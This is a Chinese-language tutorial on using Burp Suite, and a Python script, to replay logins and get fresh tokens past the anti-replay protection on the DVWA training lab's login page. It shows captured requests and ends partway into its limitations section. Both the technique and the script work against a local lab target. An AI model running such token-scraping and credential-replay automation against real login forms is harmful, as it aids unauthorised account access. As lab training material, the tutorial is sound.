实战：如何利用Burp Suite绕过DVWA靶场带Token认证的登录密码重放攻击防护

1次阅读

共计 1904 个字符，预计需要花费 5 分钟才能阅读完成。

在现代 Web 应用中，Token 认证被广泛用于防止 CSRF（跨站请求伪造）和重放攻击。DVWA（Damn Vulnerable Web Application）靶场中的登录模块就采用了这种机制。每次登录请求都会附带一个随机生成的 Token，服务器会验证 Token 的有效性，从而防止攻击者简单地重放之前的请求。

然而，这种防护并非无懈可击。Token 的生成和验证逻辑可能存在漏洞，或者攻击者可以通过某些手段获取有效的 Token。本文将探讨如何利用 Burp Suite 绕过这种防护机制。

在重放攻击测试中，Burp Suite 和 OWASP ZAP 是两个常用的工具。两者各有优劣：

Burp Suite：
优点：功能强大，插件丰富，社区支持好。
缺点：商业版功能更全面，免费版功能有限。
OWASP ZAP：
优点：完全免费，开源，适合预算有限的团队。
缺点：用户体验稍逊于 Burp Suite，某些高级功能需要手动配置。

对于本次测试，我们选择 Burp Suite，因为它在请求捕获和重放方面的功能更为成熟。

首先，我们需要捕获登录请求。以下是具体步骤：

配置浏览器代理，指向 Burp Suite 的监听端口（默认 8080）。
打开 DVWA 靶场，尝试登录，Burp Suite 会自动捕获请求。
在 Burp Suite 的 ”Proxy” 标签下，找到捕获的登录请求。

捕获到的请求可能如下所示：

POST /dvwa/login.php HTTP/1.1
Host: localhost
...
username=admin&password=password&token=abc123

我们需要关注 token 参数。通过多次请求，观察 Token 的变化规律。例如，Token 可能是基于时间戳或会话 ID 生成的。

如果 Token 的生成逻辑存在漏洞（如基于时间戳），我们可以尝试以下方法：

在 Burp Suite 的 ”Repeater” 标签中，重放捕获的请求。
修改 Token 值为最新生成的 Token（可以通过刷新页面获取）。
发送请求，观察服务器响应。

如果服务器返回成功登录的响应，说明我们绕过了 Token 认证。

以下是一个 Python 脚本示例，用于自动化 Token 提取与请求重放：

import requests
from bs4 import BeautifulSoup

# 获取登录页面的 Token
def get_token():
    login_url = "http://localhost/dvwa/login.php"
    response = requests.get(login_url)
    soup = BeautifulSoup(response.text, 'html.parser')
    token = soup.find('input', {'name': 'token'}).get('value')
    return token

# 构造登录请求
def login(username, password, token):
    login_url = "http://localhost/dvwa/login.php"
    data = {
        'username': username,
        'password': password,
        'token': token
    }
    response = requests.post(login_url, data=data)
    return response.text

# 示例用法
if __name__ == "__main__":
    token = get_token()
    result = login("admin", "password", token)
    print(result)

虽然上述方法可以绕过某些简单的 Token 认证机制，但它并非万能。以下是可能的局限性：